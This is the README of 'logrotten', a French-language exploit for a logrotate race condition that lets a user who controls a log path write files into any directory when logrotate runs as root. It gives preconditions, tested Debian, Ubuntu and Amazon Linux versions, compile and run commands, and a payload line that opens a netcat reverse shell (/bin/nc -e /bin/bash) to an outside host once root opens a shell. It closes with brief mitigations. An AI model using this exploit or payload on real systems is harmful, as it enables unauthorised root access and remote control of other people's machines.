[!WARNING]
Ce dépôt a été déplacé vers https://codeberg.org/whotwagner/logrotten. Veuillez visiter le nouvel emplacement pour les dernières mises à jour.
Exploiter une condition de course dans logrotate pour élever les privilèges

Brève description
- logrotate est sujet à une condition de course après le renommage du fichier journal.
- Si logrotate est exécuté en tant que root, avec une option qui crée un
fichier (comme create, copy, compress, etc.) et que l'utilisateur contrôle
le chemin du fichier journal, il est possible d'abuser d'une condition de course pour écrire
des fichiers dans TOUS les répertoires.
- Un attaquant pourrait élever ses privilèges en écrivant des reverse-shells dans
des répertoires comme "/etc/bash_completition.d/".
Condition préalable à l'élévation de privilèges
- Logrotate doit être exécuté en tant que root
- Le logpath doit être sous le contrôle de l'attaquant
- Toute option qui crée des fichiers est définie dans la configuration de logrotate
Versions testées
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
Compilation
- gcc -o logrotten logrotten.c
Préparer le payload
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Exécuter l'exploit
Si l'option "create" est définie dans logrotate.cfg:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
Si l'option "compress" est définie dans logrotate.cfg:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
Problèmes connus
- Il était difficile de gagner la course dans un conteneur docker ou sur un lvm2-volume. Cette version de logrotten améliore la fiabilité.
Atténuation
- s'assurer que le logpath appartient à root
- utiliser l'option "su" dans logrotate.cfg
- utiliser selinux ou apparmor
Auteur
Références